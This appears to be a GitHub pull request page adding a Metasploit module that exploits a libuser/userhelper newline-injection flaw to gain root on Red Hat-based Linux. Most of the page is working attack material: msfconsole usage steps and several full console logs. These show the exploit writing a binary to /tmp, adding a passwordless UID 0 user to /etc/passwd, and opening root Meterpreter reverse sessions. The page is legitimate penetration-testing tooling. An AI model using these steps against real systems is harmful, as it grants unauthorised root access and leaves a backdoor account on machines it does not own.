Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Libuser roothelper Privilege Escalation exploit #9919

Merged
merged 4 commits into from
May 12, 2018

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Apr 23, 2018

Add Libuser roothelper Privilege Escalation exploit.

    This module attempts to gain root privileges on Red Hat based Linux
    systems, including RHEL, Fedora and CentOS, by exploiting a newline
    injection vulnerability in libuser and userhelper versions prior to
    0.56.13-8 and version 0.60 before 0.60-7.

    This module makes use of the roothelper.c exploit from Qualys to
    insert a new user with UID=0 in /etc/passwd.

    Note, the password for the current user is required by userhelper.

    Note, on some systems, such as Fedora 11, the user entry for the
    current user in /etc/passwd will become corrupted and exploitation
    will fail.

    This module has been tested successfully on libuser packaged versions
    0.56.13-4.el6 on CentOS 6.0 (x86_64);
    0.56.13-5.el6 on CentOS 6.5 (x86_64);
    0.60-5.el7 on CentOS 7.1-1503 (x86_64);
    0.56.16-1.fc13 on Fedora 13 (i686);
    0.59-1.fc19 on Fedora Desktop 19 (x86_64);
    0.60-6.fc21 on Fedora Desktop 21 (x86_64);
    0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
    0.60-5.el7 on Red Hat 7.0 (x86_64).

    RHEL 5 is vulnerable, however the installed version of glibc (2.5)
    is missing various functions required by roothelper.c.

Verification

  • Start msfconsole
  • Get a session
  • use exploit/linux/local/libuser_roothelper_priv_esc
  • set SESSION <ID>
  • set PASSWORD <PASSWORD>
  • run
  • Verify you get a root session

Scenarios

libuser 0.56.13-5.el6 on Red Hat 6.6 (x86_64)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.QQ4pE9nj.c' (29342 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.SJAEHS' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.245
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.245:46065) at 2018-04-23 13:08:51 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat Enterprise Linux 6 (Linux 2.6.32-504.el6.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

libuser 0.60-5.el7 on CentOS 7.1-1503 (x86_64)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.Ake5GA' (103396 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.vbahMY' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.242
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.242:48332) at 2018-04-23 13:13:22 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat 7.1 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

libuser 0.60-6.fc21 on Fedora Desktop 21 (x86_64)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.ByQC9FHS.c' (29342 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.WnBXJkWDa' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.240
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.240:53201) at 2018-04-23 13:16:32 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

@bcoles bcoles added the module label Apr 23, 2018
@bcoles bcoles added the docs label Apr 23, 2018
@bcoles
Copy link
Contributor Author

bcoles commented Apr 23, 2018

roothelper - reliable userland local root exploit for about five years worth of RHEL based distros (RHEL 5 to 7, CentOS 5 to 7, Fedora ~11 to ~22) up until around July 2015.

Ranking

I tested the original roothelper.c, modified roothelper.c, and this exploit module with COMPILE => False and COMPILE => True on a bunch of distros. Fedora 11 was the only distro which decided to corrupt /etc/passwd. This is mentioned in the module description and documentation. For this reason, I chose GreatRanking.

Check method

The most confident response from check is CheckCode::Detected.

glibc

roothelper.c makes use of various libc functions which weren't avilable until glibc 2.6. While I was able to work around some of these restrictions, I opted to move on out of laziness. As such, this exploit does not work on RHEL 5 by default, including the latest version (5.11). CentOS 5.x is in the same boat.

libuser

While it's possible to verify the installed version of libuser using yum list installed libuser I avoided this check for a few reasons. Ancient OS no longer have valid upstream package sources, causing the command to fail. Also laziness.

pam mitigation

Red Hat does offer a workaround to prevent exploitation. I didn't bother to check for this.

script / su

Successful exploitation results in a new user added to the system with UID=0 and no password.

On some systems, it's possible to pipe stdin to su, however this is not the case for early versions of RHEL/CentOS/Fedora which require a TTY. As such, I opted to use script which is installed by default. This means that both the check and exploit methods will bail out if script is not in $PATH.

The new user is removed from the system on_new_session.

Original exploit

The original C code was modified in two instances, both of which are documented in the source.

The first was to allow cross-compiling on my system which complained about the use of rawmemchr. Changing this tomemchr did not appear to cause any problems.

The second was to prevent the backup of /etc/passwd to /tmp, thus saving an unnecessary file write. This backup isn't required for exploitation, and in the event of successful or failed exploitation the effects on /etc/passwd (a new line) are obvious. Also, if you fail to get root, the backup /etc/passwd isn't going to do you much good anyway.

@timwr
Copy link
Contributor

timwr commented May 12, 2018

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                           Connection
  --  ----  ----                   -----------                                           ----------
  1         meterpreter x64/linux  uid=500, gid=500, euid=500, egid=500 @ livecd.centos  192.168.1.115:4444 -> 192.168.1.115:52344 (10.0.2.15)

msf5 exploit(multi/handler) > use exploit/linux/local/libuser_roothelper_priv_esc
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set VERBOSE true
VERBOSE => true
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set PASSWORD password
PASSWORD => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set SESSION -1
SESSION => -1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set LPORT 5555
LPORT => 5555
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.115:5555
[+] /usr/sbin/userhelper is setuid
[+] script is installed
[+] File /etc/passwd is not immutable
[+] GNU C Library version 2.12 is supported
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.wJmFhXmIb' (103396 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[*] Please enter your password:
[*] Attempting to add "?::0:0::/:" to "/etc/passwd"
[*] Starting and stopping userhelper #11
[*] Starting and stopping userhelper #10
[*] Starting and stopping userhelper #9
[*] Starting and stopping userhelper #8
[*] Starting and stopping userhelper #7
[*] Starting and stopping userhelper #6
[*] Starting and stopping userhelper #5
[*] Starting and stopping userhelper #4
[*] Starting and stopping userhelper #3
[*] Starting and stopping userhelper #2
[*] Starting and stopping userhelper #1
[*] Starting and stopping userhelper #0
[*] Continuing stopped userhelper #11
[*] Continuing stopped userhelper #10
[*] Continuing stopped userhelper #9
[*] Continuing stopped userhelper #8
[*] Continuing stopped userhelper #7
[*] Continuing stopped userhelper #6
[*] Continuing stopped userhelper #5
[*] Continuing stopped userhelper #4
[*] Continuing stopped userhelper #3
[*] Continuing stopped userhelper #2
[*] Continuing stopped userhelper #1
[*] Continuing stopped userhelper #0
[*] Exploit successful, run "su a" to become root
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.YPB2EXFcn' (207 bytes) ...
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (853256 bytes) to 192.168.1.115
[*] Meterpreter session 2 opened (192.168.1.115:5555 -> 192.168.1.115:39846) at 2018-05-12 17:16:15 +0800

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : livecd.centos
OS           : CentOS 6.5 (Linux 2.6.32-431.el6.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

@timwr
Copy link
Contributor

timwr commented May 12, 2018

I get this on a non-vulnerable session (which is good):

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > exploit

[*] Started reverse TCP handler on 192.168.1.115:4445
[-] /usr/sbin/userhelper is not setuid
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/libuser_roothelper_priv_esc) >

'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('PASSWORD', [ false, 'Password for the current user', '' ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As discussed I will make this option a requirement

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For context, while a blank password is valid, libuser does not appear to accept it.

@timwr
Copy link
Contributor

timwr commented May 12, 2018

Also working on shell sessions:

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > sessions

Active sessions
===============

  Id  Name  Type             Information  Connection
  --  ----  ----             -----------  ----------
  1         shell x86/linux               192.168.1.115:4444 -> 192.168.1.115:43150 (192.168.1.115)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.115:4455
[+] /usr/sbin/userhelper is setuid
[+] script is installed
[+] File /etc/passwd is not immutable
[+] GNU C Library version 2.12 is supported
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.8i5Vx' (103396 bytes) ...
[*] Max line length is 65537
[*] Writing 103396 bytes in 7 chunks of 57130 bytes (octal-encoded), using printf
[*] Next chunk is 56581 bytes
[*] Next chunk is 56845 bytes
[*] Next chunk is 47920 bytes
[*] Next chunk is 47927 bytes
[*] Next chunk is 43028 bytes
[*] Next chunk is 17822 bytes
[*] Launching roothelper exploit (Timeout: 180)...
[*] Please enter your password:
[*] Attempting to add "?::0:0::/:" to "/etc/passwd"
[*] Starting and stopping userhelper #11
[*] Starting and stopping userhelper #10
[*] Starting and stopping userhelper #9
[*] Starting and stopping userhelper #8
[*] Starting and stopping userhelper #7
[*] Starting and stopping userhelper #6
[*] Starting and stopping userhelper #5
[*] Starting and stopping userhelper #4
[*] Starting and stopping userhelper #3
[*] Starting and stopping userhelper #2
[*] Starting and stopping userhelper #1
[*] Starting and stopping userhelper #0
[*] Continuing stopped userhelper #11
[*] Continuing stopped userhelper #10
[*] Continuing stopped userhelper #9
[*] Continuing stopped userhelper #8
[*] Continuing stopped userhelper #7
[*] Continuing stopped userhelper #6
[*] Continuing stopped userhelper #5
[*] Continuing stopped userhelper #4
[*] Continuing stopped userhelper #3
[*] Continuing stopped userhelper #2
[*] Continuing stopped userhelper #1
[*] Continuing stopped userhelper #0
[*] Exploit successful, run "su a" to become root
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.4J4wa' (207 bytes) ...
[*] Max line length is 65537
[*] Writing 207 bytes in 1 chunks of 629 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (853256 bytes) to 192.168.1.115
[*] Meterpreter session 2 opened (192.168.1.115:4455 -> 192.168.1.115:37378) at 2018-05-12 17:25:36 +0800

[+] Deleted /tmp/.4J4wa

meterpreter >
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

@timwr timwr merged commit 3aa7441 into rapid7:master May 12, 2018
@timwr
Copy link
Contributor

timwr commented May 12, 2018

Excellent work @bcoles !!!!

@bcoles bcoles deleted the libuser_roothelper_priv_esc branch May 12, 2018 09:30
@bcoles
Copy link
Contributor Author

bcoles commented May 13, 2018

Release Notes

The exploit/linux/local/libuser_roothelper_priv_esc module has been added to the framework. It allows you to gain root privileges on Red Hat based Linux systems (including RHEL, Fedora, and CentOS) by exploiting a newline injection vulnerability in libuser and userhelper.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants